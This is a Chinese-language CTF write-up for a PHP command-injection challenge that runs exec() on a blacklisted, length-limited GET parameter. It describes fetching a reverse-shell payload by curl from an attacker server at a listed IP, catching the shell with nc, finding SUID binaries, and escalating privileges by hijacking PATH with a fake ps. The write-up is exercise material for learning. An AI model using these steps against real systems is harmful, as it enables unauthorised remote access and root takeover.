bmzctf刷题 WEB_penetration
直接上代码
<?php
highlight_file(__FILE__);
if(isset($_GET[‘ip‘])){
$ip = $_GET[‘ip‘];
$_=array(‘b‘,‘d‘,‘e‘,‘-‘,‘q‘,‘f‘,‘g‘,‘i‘,‘p‘,‘j‘,‘+‘,‘k‘,‘m‘,‘n‘,‘\<‘,‘\>‘,‘o‘,‘w‘,‘x‘,‘\~‘,‘\:‘,‘\^‘,‘\@‘,‘\&‘,‘\‘‘,‘\%‘,‘\"‘,‘\*‘,‘\(‘,‘\)‘,‘\!‘,‘\=‘,‘\.‘,‘\[‘,‘\]‘,‘\}‘,‘\{‘,‘\_‘);
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
if (strlen($ip) <= 18){
if (preg_match (‘/‘ . $blacklisted . ‘/im‘, $ip)) {
die(‘nonono‘);
}else{
exec($ip);
}
}
else{
die("long");
}
}
}
?>
传入一个GET型的ip参数,设置一个_变量,将_作为$blacklist
ip经过两重判断,一是长度小于18,二是balcklist黑名单匹配,匹配到的将敏感词替换为/im
步骤1 执行命令
屏蔽了好多关键“字”,由于是直接屏蔽“字”的,好像饶不了,而且“flag”也在里面
目前来看可以执行的是curl
思路是curl请求服务器,得到服务器上的数据,将得到的数据当作命令执行
写入一句话bash
另一个82.156.28.224开nc监听112端口
注意不要使用除了80端口外其他的端口,长度会超高18个字节限制
将ip地址十进制编码一下,同样为了减少长度
权限是www-data
没有在常见路径找到flag,搜索也没有找到
推测应该要提权
find / -user root -perm -4000 -print 2>/dev/null
搜索root权限运行的服务
发现里面有个奇怪的love??
运行下试试
返回了ps命令的结果
在这里wp里面直接就把love文件下载了,但是。。。nc怎么下载文件啊。。。。
在这里我还试了一下msf,但是没有回显
创建一个假的ps命令在/tmp目录下。。。(万能的tmp目录)
cd /tmp
echo "/bin/bash" >ps
chmod 777 ps
export PATH=/tmp:$PATH //将‘/tmp‘添加到PATH变量最前面